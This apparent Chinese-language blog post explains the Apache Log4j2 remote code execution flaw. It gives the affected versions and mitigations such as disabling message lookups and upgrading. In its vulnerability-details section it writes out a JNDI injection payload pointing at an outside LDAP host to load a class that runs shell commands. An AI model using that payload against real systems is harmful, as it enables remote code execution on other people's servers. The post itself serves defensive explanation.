​文末漏洞细节​


文章目录


前言

这几天 ​​Apache Log4j2​​ 远程代码执行漏洞刷屏了整个互联网行业,公司也发生了这个问题,做出了紧急修复。

Apache Log4j2 漏洞修复及复现_apache

介绍

相信每一个技术人都有听过这款日志框架的大名。Apache Log4j2 是一款优秀的 Java 日志框架。该工具重写了 Log4j 框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。


​https://github.com/apache/logging-log4j2​


原因

由于 Apache Log4j2 某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。

影响

漏洞利用无需特殊配置,经安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink 等均受影响。因该组件使用极为广泛,影响面也很广。

漏洞评级

Apache Log4j 远程代码执行漏洞 严重

Apache Log4j2 漏洞修复及复现_web安全_02

影响版本

​Apache log4j2 >= 2.0, <= 2.14.1​


修复建议

紧急缓解措施:

  1. 修改jvm参数-


Dlog4j2.formatMsgNoLookups=true


  1. 修改配置


log4j2.formatMsgNoLookups=True


  1. 将系统环境变量


FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true


升级:

升级Apache Log4j2所有相关应用到最新的 ​​log4j-2.15.0-rc2​​ 版本

地址:

​ https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2​

措施:

  • 限制受影响应用对外访问互联网,并在边界对dnslog相关域名访问进行检测。

漏洞细节

Apache Log4j2 漏洞修复及复现_日志框架_03

大家一定都看到这张图了,这张是利用漏洞执行远程代码调用打开一个计算器。

一般代码里会记录请求参数 如登录时记录 ​​log.info("user:{} is login", name);​​​ 这个 name 是前台传过来的参数。如果前台传的是构造的参数如:​​${jndi:ldap://gitee.com/rodert/exp}​​。exp 返回的是一个构造方法里执行 shell 代码的 class 文件。

然后你设置的什么命令服务器接收到参数后就执行这个命令了。

为保护大多数应用的安全,以上是大概思路,如果有兴趣复现学习,请在公众号回复 ​​log4j2​​ 查看实验案例。请勿作恶,后果自负。